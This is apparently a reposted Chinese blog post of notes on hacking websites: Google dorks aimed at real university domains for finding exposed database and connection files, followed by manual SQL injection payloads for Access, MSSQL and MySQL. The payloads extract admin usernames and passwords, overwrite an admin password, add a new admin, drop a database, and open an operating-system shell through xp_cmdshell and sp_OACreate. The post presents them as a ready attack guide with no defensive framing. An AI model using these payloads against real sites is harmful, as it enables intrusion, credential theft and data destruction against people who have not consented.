标签:
ASP网站的后台数据库几乎全部是ACCESS和SQL Server
JSP环境应用最多的是利用JDK和Tomcat来搭建
site:xx.com inurl:php?id=
爆库一般是加上%5C 或者inc等一些符号让系统在调用数据库时出现错误 然后返回的数据中提示调用数据库出现错误
错误里面一般都含有数据库的绝对路径 92
conn.asp往往是ASP程序里包含数据库连接信息的文件
inurl:/inc+conn.asp
转到父目录
http://www.jegsworks.com/lessons/resources/databases%20resources/
intext:to parent directory+intext:mdb site:fudan.edu.cn 搜索网站数据库文件
intext:to parent directory+intext:conn.asp site:ujn.edu.cn
http://johnny.ihackstuff.com/ 查看最新语句
被控制的服务器或者远程主机交换的数据都是通过80端口传递的
%5c 爆库 在该网站的最后一个\改成%5c IIS
%23 代替# 下载数据库
几乎php都是和mysql组合
asp手工注入
and user>0 可以判断后台数据库类型
ACCESS 数据库下的手工注入 Microsoft JET Database Engine
and exists(select *from 表名) 或者 and exists(select count from 表名) 猜解表名
and exists(select 列名 from 表名) 或者 and exists(select count(列名) from 表名) 猜解列名
and (select top 1 len(列名) from 表名)>x x是数字 我们需要交换这个x就是列的长度值 猜解列的长度
猜解用户名和密码需要用到ASC和MID这两个函数 用Mid(列名,N,1) 函数截取第N位字符 再用ASC(Mid(列名,N,1)) 函数得到第N位字符的ASCLL码
and(select top 1 asc(mid(adminname,1,1)) from admin)>96
MSSQL +asp
and user>0 判断数据库名
爆任意表名和列名的方法 N代表第几个表
asp?id= and(select top 1 name from(select top N,id,name,from,sysobjects,where,xtype=char(85) T order by in desc)>1
爆出数据库中的数据 asp?id=xx and(select top 1 username from admin where id=1)>1 就可以猜解出admin表中username的第一条数据了
password
URL中参数是字符 asp?id=value‘ and 1=1 这样判断是否存在注入漏洞
在SQL注入中 如果在爆出管理员密码是经过MD5加密的 而我们又无法破解 这时候我们直接利用SQL注入 来修改数据库中的数据
直接把管理员密码改掉 相关语句 update 表名 set 列名 =‘内容‘ where 条件
例如 asp?id=xx; update admin set passw ord=‘123‘ where username=‘zyh‘
添加管理员 相关语句 insert into 表名 values(内容)--
例如 asp?id=xx;insert into admin values(账号,密码)
删除数据库drop database 数据库名字
查看数据库版本 and(select @@version)>0
and db_name()>0当前数据库名
and user>0 来获得当前数据库用户名
sysobjects 是sqlserver 的
1 mssql扩展存储过程
mssql还有很多扩展功能 利用数据库的扩展存储过程(exec,master,xp_cmdshell) 来获得shell
asp?id=1;exec master ..xp_cmdshell ‘dir c:\‘ 执行之后我们就能看见C盘根目录下的的文件和文件夹了
在使用之前要判断他是否存在
and select count(*) from master.dbo.sysobjects where xtype=‘X‘ and name=‘xp_cmdshell‘ 正常则存在
如果不存在 使用 ;exec sp_addextendedproc xp_cmdshell, ‘xplog70.dll‘ 来恢复数据库的扩展存储过程
如果要删除过程 ;exec sp_dropextendedproc ‘xp_cmdshell‘
2 在MSSQL2000中 提供了一些函数用于访问一个叫做OLE对象 通过他可以访问OLE空间 间接的是我们获得一个shell
DECLARE @S INT
EXEC SP_OACREAT ‘wscript.shell‘,@s
exec master..SPOAMETHOD @s,‘run‘,null,‘cmd.exe/c cmd 命令‘ 上面两种方法必须是SA权限才能够执行
MySQL 在目前的数据库系统中 只有MySQL数据库库支持 /*注释
id=xx/*test 如果返回正常说明就是MySQL
在MySQL 4版本以上新增了一个联合查询 UNION的功能 比如 SQL语句1 UNION SQL语句2 提交之后 1 2 语句都会被执行
确定MySQL版本
and ord(mid(version(),1,1))>51 正常则是4.0以上 51是ASC码3
要确定当前数据库的字段数目
1 UNION 限制 要求两个语句的字段数要相同
2 order by 数字 返回字段数 //字段是指数据表的列,记录是指数据表的行
and 1=2 union 语句 能爆出 这些数字的位置
知道字段数之后 我们可以利用union 查询来获得当前数据库的表名 union select 字段数 from 表名
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from admin 返回正常说明admin这个表名存在
显示的信息中 得到几个数字 2,3,4,5,6,7,8,9 这几个数字 例如我们要查看数据库版本 就用version()
只要将version() 替代任意一个数字
and 1=2 union select 1,version,3,4,5,6,7,8,9,10,11,12,13 from admin 就会在2出现的位置出现版本
union select 1,username,3,4,5,6,7,8,9,10,11,12,13 from admin
union select 1,password,3,4,5,6,7,8,9,10,11,12,13 from admin 默认第一个人
有root权限的 可以使用load_file(路径的十六进制) 用法同上
union select 1,password,3,4,5,6,7,8,9,10,11,12,13 from admin where id=2 指定查询第二个人的密码
判断是不是root权限 and ord(mid(user(),1,1))=114
判断是否具有文件读写权限 and (select count(*)from MySQL.user)>0
标签:
原文地址:http://www.cnblogs.com/test404/p/5425496.html